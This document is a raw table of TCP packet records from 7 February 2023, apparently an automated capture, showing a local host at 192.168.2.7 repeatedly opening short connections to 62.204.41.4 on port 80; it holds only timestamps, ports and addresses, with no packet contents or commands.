Feb 7, 2023 23:08:07.463872910 CET	80	49940	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.463985920 CET	49940	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.464493990 CET	49940	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.526120901 CET	80	49940	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.529371977 CET	80	49940	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.530900002 CET	49940	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.645032883 CET	49940	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.645939112 CET	49941	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.706506014 CET	80	49941	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.706877947 CET	80	49940	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.707189083 CET	49940	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.707237005 CET	49941	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.714680910 CET	49941	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.775728941 CET	80	49941	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.778090000 CET	80	49941	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.778307915 CET	49941	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.895062923 CET	49941	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.898413897 CET	49942	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.955734015 CET	80	49941	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.956022978 CET	49941	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.959882021 CET	80	49942	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:07.960891962 CET	49942	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:07.961390018 CET	49942	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.022958994 CET	80	49942	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.025127888 CET	80	49942	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.027832985 CET	49942	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.144664049 CET	49942	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.145658970 CET	49943	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.206238031 CET	80	49942	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.206305981 CET	80	49943	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.206466913 CET	49942	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.206545115 CET	49943	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.214342117 CET	49943	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.276830912 CET	80	49943	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.279133081 CET	80	49943	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.279266119 CET	49943	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.395400047 CET	49943	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.396239042 CET	49944	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.456217051 CET	80	49943	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.456427097 CET	49943	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.458904982 CET	80	49944	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.459242105 CET	49944	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.460140944 CET	49944	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.522864103 CET	80	49944	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.525207043 CET	80	49944	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.525435925 CET	49944	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.638310909 CET	49944	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.639381886 CET	49945	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.699579954 CET	80	49945	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.699839115 CET	49945	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.700274944 CET	49945	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.701647997 CET	80	49944	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.701752901 CET	49944	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.762049913 CET	80	49945	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.764461040 CET	80	49945	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.764560938 CET	49945	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.880384922 CET	49945	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.881413937 CET	49946	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.941137075 CET	80	49945	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.941334009 CET	49945	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.942653894 CET	80	49946	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:08.942876101 CET	49946	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:08.944668055 CET	49946	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.006050110 CET	80	49946	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.008547068 CET	80	49946	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.008666992 CET	49946	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.114278078 CET	49946	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.115422964 CET	49947	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.175658941 CET	80	49946	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.175776958 CET	49946	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.175781965 CET	80	49947	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.175901890 CET	49947	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.176994085 CET	49947	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.237402916 CET	80	49947	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.240406036 CET	80	49947	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.240607977 CET	49947	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.347956896 CET	49947	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.348984003 CET	49948	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.408550978 CET	80	49947	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.408840895 CET	49947	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.411498070 CET	80	49948	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.411680937 CET	49948	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.418494940 CET	49948	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.480897903 CET	80	49948	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.483279943 CET	80	49948	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.483424902 CET	49948	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.598846912 CET	49948	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.599935055 CET	49949	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.660542965 CET	80	49949	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.660739899 CET	49949	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.661427021 CET	80	49948	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.661537886 CET	49948	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.663717985 CET	49949	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.725199938 CET	80	49949	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.727545977 CET	80	49949	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.727730036 CET	49949	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.864861965 CET	49949	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.866018057 CET	49950	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.926917076 CET	80	49949	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.927148104 CET	49949	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.928848028 CET	80	49950	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:09.929058075 CET	49950	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:09.942678928 CET	49950	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.004761934 CET	80	49950	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.006781101 CET	80	49950	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.006923914 CET	49950	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.116796017 CET	49950	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.118386984 CET	49951	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.178320885 CET	80	49950	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.178509951 CET	49950	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.178898096 CET	80	49951	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.179033995 CET	49951	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.180583954 CET	49951	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.241077900 CET	80	49951	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.243530989 CET	80	49951	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.243721008 CET	49951	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.365334988 CET	49951	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.366348982 CET	49952	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.425859928 CET	80	49951	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.426021099 CET	49951	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.426808119 CET	80	49952	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.426938057 CET	49952	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.427882910 CET	49952	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.488464117 CET	80	49952	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.490973949 CET	80	49952	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.491116047 CET	49952	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.599714041 CET	49952	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.600687981 CET	49953	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.660053015 CET	80	49952	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.660191059 CET	49952	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.661930084 CET	80	49953	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.662085056 CET	49953	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.664702892 CET	49953	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.726113081 CET	80	49953	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.728537083 CET	80	49953	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.728667021 CET	49953	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.836878061 CET	49953	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.838186979 CET	49954	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.898777008 CET	80	49954	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.898864031 CET	49954	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.899375916 CET	49954	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.899523020 CET	80	49953	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.899604082 CET	49953	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:10.959852934 CET	80	49954	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.962054968 CET	80	49954	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:10.962163925 CET	49954	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.067719936 CET	49954	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.068475962 CET	49955	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.128566980 CET	80	49954	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.128710985 CET	49954	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.129832029 CET	80	49955	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.131203890 CET	49955	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.133835077 CET	49955	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.196788073 CET	80	49955	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.200885057 CET	80	49955	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.203119040 CET	49955	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.317946911 CET	49955	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.319027901 CET	49956	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.379420996 CET	80	49955	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.380428076 CET	80	49956	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.380608082 CET	49955	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.380695105 CET	49956	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.390676975 CET	49956	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.452207088 CET	80	49956	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.454973936 CET	80	49956	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.455120087 CET	49956	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.567394972 CET	49956	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.568223000 CET	49957	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.631510973 CET	80	49956	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.631725073 CET	80	49957	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.631886959 CET	49956	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.631959915 CET	49957	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.632559061 CET	49957	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.693772078 CET	80	49957	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.696100950 CET	80	49957	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.701200962 CET	49957	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.818052053 CET	49957	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.819027901 CET	49958	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.879163980 CET	80	49957	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.879300117 CET	49957	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.881212950 CET	80	49958	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.883249044 CET	49958	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.883806944 CET	49958	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:11.948039055 CET	80	49958	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.950310946 CET	80	49958	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:11.950459003 CET	49958	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.109100103 CET	49958	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.110090017 CET	49959	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.172341108 CET	80	49959	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.172549963 CET	49959	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.173316956 CET	80	49958	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.173399925 CET	49958	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.184454918 CET	49959	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.245115995 CET	80	49959	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.247689962 CET	80	49959	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.247803926 CET	49959	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.364221096 CET	49959	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.366549015 CET	49960	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.424799919 CET	80	49959	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.425126076 CET	49959	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.427274942 CET	80	49960	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.427484989 CET	49960	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.428216934 CET	49960	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.488826036 CET	80	49960	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.492048979 CET	80	49960	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.492230892 CET	49960	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.616321087 CET	49960	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.622674942 CET	49961	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.677340984 CET	80	49960	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.677526951 CET	49960	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.684191942 CET	80	49961	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.684825897 CET	49961	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.685374975 CET	49961	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.746826887 CET	80	49961	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.749408007 CET	80	49961	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.749586105 CET	49961	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.863631964 CET	49961	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.864413023 CET	49962	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.924877882 CET	80	49962	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.925088882 CET	80	49961	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.925288916 CET	49961	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.925298929 CET	49962	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.926371098 CET	49962	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:12.986668110 CET	80	49962	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.989113092 CET	80	49962	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:12.989259005 CET	49962	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.099323034 CET	49962	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.100357056 CET	49963	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.159782887 CET	80	49962	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.159879923 CET	49962	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.160679102 CET	80	49963	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.160804987 CET	49963	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.161472082 CET	49963	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.221776962 CET	80	49963	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.224231958 CET	80	49963	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.224394083 CET	49963	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.337549925 CET	49963	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.339276075 CET	49964	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.398067951 CET	80	49963	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.398216963 CET	49963	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.399782896 CET	80	49964	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.399894953 CET	49964	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.400471926 CET	49964	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.461040020 CET	80	49964	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.463514090 CET	80	49964	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.463653088 CET	49964	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.585606098 CET	49964	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.587105989 CET	49965	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.646353006 CET	80	49964	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.646682978 CET	49964	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.647280931 CET	80	49965	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.647418022 CET	49965	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.650115967 CET	49965	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.710382938 CET	80	49965	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.712537050 CET	80	49965	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.712655067 CET	49965	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.821794987 CET	49965	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.822920084 CET	49966	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.882406950 CET	80	49965	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.882585049 CET	49965	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.883440971 CET	80	49966	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.883795977 CET	49966	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.888623953 CET	49966	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:13.949368000 CET	80	49966	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.951494932 CET	80	49966	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:13.951589108 CET	49966	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.070933104 CET	49966	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.071851969 CET	49967	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.131587982 CET	80	49966	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:14.131686926 CET	49966	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.132101059 CET	80	49967	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:14.132328033 CET	49967	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.132869005 CET	49967	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.193310022 CET	80	49967	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:14.195507050 CET	80	49967	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:14.195811987 CET	49967	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.308126926 CET	49967	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.315300941 CET	49968	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.368685007 CET	80	49967	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:14.368763924 CET	49967	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.375807047 CET	80	49968	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:14.376065969 CET	49968	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.393779039 CET	49968	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.454312086 CET	80	49968	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:14.456599951 CET	80	49968	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:14.456693888 CET	49968	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.617917061 CET	49968	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.618643999 CET	49969	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.679027081 CET	80	49968	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:14.679999113 CET	49968	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.680543900 CET	80	49969	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:14.680680990 CET	49969	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.885714054 CET	49969	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:14.947434902 CET	80	49969	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:14.949523926 CET	80	49969	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:14.949635983 CET	49969	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.068037033 CET	49969	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.071144104 CET	49970	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.129966974 CET	80	49969	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:15.130146027 CET	49969	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.133663893 CET	80	49970	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:15.133857012 CET	49970	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.189928055 CET	49970	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.253030062 CET	80	49970	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:15.255315065 CET	80	49970	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:15.255491972 CET	49970	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.421818972 CET	49970	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.422960043 CET	49971	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.483309984 CET	80	49971	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:15.483556986 CET	49971	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.484322071 CET	80	49970	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:15.484401941 CET	49970	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.502675056 CET	49971	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.563123941 CET	80	49971	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:15.565202951 CET	80	49971	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:15.565308094 CET	49971	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.740837097 CET	49971	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.741622925 CET	49972	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.801666975 CET	80	49971	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:15.801702023 CET	80	49972	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:15.801865101 CET	49971	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:15.801939964 CET	49972	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:16.388087034 CET	49972	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:16.448559046 CET	80	49972	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:16.450793028 CET	80	49972	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:16.450973988 CET	49972	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:16.728782892 CET	49972	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:16.729598045 CET	49973	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:16.789170980 CET	80	49972	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:16.789341927 CET	49972	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:16.791837931 CET	80	49973	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:16.791999102 CET	49973	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:16.792891026 CET	49973	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:16.855645895 CET	80	49973	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:16.857755899 CET	80	49973	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:16.857935905 CET	49973	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:17.008696079 CET	49973	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:17.009623051 CET	49974	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:08:17.069993973 CET	80	49974	62.204.41.4	192.168.2.7
Feb 7, 2023 23:08:17.070218086 CET	49974	80	192.168.2.7	62.204.41.4
